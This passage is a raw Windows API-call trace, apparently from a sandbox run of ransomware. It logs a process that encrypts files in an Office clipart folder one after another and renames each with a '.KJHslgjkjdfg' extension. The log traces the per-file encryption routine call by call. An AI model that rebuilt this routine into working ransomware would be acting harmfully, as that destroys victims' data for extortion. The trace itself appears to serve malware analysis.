(in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1 [0217.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.828] GetProcessHeap () returned 0x2ef0000 [0217.828] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.828] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.828] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.836] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.836] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.836] GetProcessHeap () returned 0x2ef0000 [0217.836] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.836] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.836] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.836] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.836] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.836] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.837] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.837] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.837] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.837] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.837] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a6c, lpOverlapped=0x0) returned 1 [0217.843] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a70, dwBufLen=0x1a70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a70) returned 1 [0217.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.843] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a70, lpOverlapped=0x0) returned 1 [0217.843] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.843] SetEndOfFile (hFile=0x130) returned 1 [0217.846] GetProcessHeap () returned 0x2ef0000 [0217.846] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.846] GetProcessHeap () returned 0x2ef0000 [0217.846] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.kjhslgjkjdfg")) returned 1 [0217.848] CloseHandle (hObject=0x130) returned 1 [0217.848] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1 [0217.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.849] GetProcessHeap () returned 0x2ef0000 [0217.849] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.849] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.849] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0217.863] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.863] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.863] GetProcessHeap () returned 0x2ef0000 [0217.863] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.864] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.864] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.864] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.864] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.864] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.864] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.864] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.864] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.864] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.864] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1511, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1511, lpOverlapped=0x0) returned 1 [0217.866] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1520, dwBufLen=0x1520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1520) returned 1 [0217.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.866] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1520, lpOverlapped=0x0) returned 1 [0217.866] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.866] SetEndOfFile (hFile=0x130) returned 1 [0217.869] GetProcessHeap () returned 0x2ef0000 [0217.869] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.869] GetProcessHeap () returned 0x2ef0000 [0217.869] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.kjhslgjkjdfg")) returned 1 [0217.871] CloseHandle (hObject=0x130) returned 1 [0217.871] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1 [0217.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.874] GetProcessHeap () returned 0x2ef0000 [0217.874] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.874] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.874] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.874] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.874] GetProcessHeap () returned 0x2ef0000 [0217.874] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.874] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.874] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.874] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.902] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.902] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.902] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.902] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.902] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.902] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.902] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.902] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.902] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6140, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6140, lpOverlapped=0x0) returned 1 [0217.931] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6140, dwBufLen=0x6140 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6140) returned 1 [0217.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.932] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6140, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6140, lpOverlapped=0x0) returned 1 [0217.932] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.932] SetEndOfFile (hFile=0x130) returned 1 [0217.936] GetProcessHeap () returned 0x2ef0000 [0217.936] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.936] GetProcessHeap () returned 0x2ef0000 [0217.936] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.kjhslgjkjdfg")) returned 1 [0217.938] CloseHandle (hObject=0x130) returned 1 [0217.938] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1 [0217.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.939] GetProcessHeap () returned 0x2ef0000 [0217.939] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.939] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.939] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.939] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0218.136] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.136] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.136] GetProcessHeap () returned 0x2ef0000 [0218.136] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.136] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.136] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.137] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.137] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.137] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.137] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.137] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x411a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x411a, lpOverlapped=0x0) returned 1 [0218.139] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4120, dwBufLen=0x4120 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4120) returned 1 [0218.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.139] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4120, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4120, lpOverlapped=0x0) returned 1 [0218.139] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.140] SetEndOfFile (hFile=0x130) returned 1 [0218.143] GetProcessHeap () returned 0x2ef0000 [0218.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.143] GetProcessHeap () returned 0x2ef0000 [0218.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.kjhslgjkjdfg")) returned 1 [0218.145] CloseHandle (hObject=0x130) returned 1 [0218.145] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1 [0218.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.148] GetProcessHeap () returned 0x2ef0000 [0218.148] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.148] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 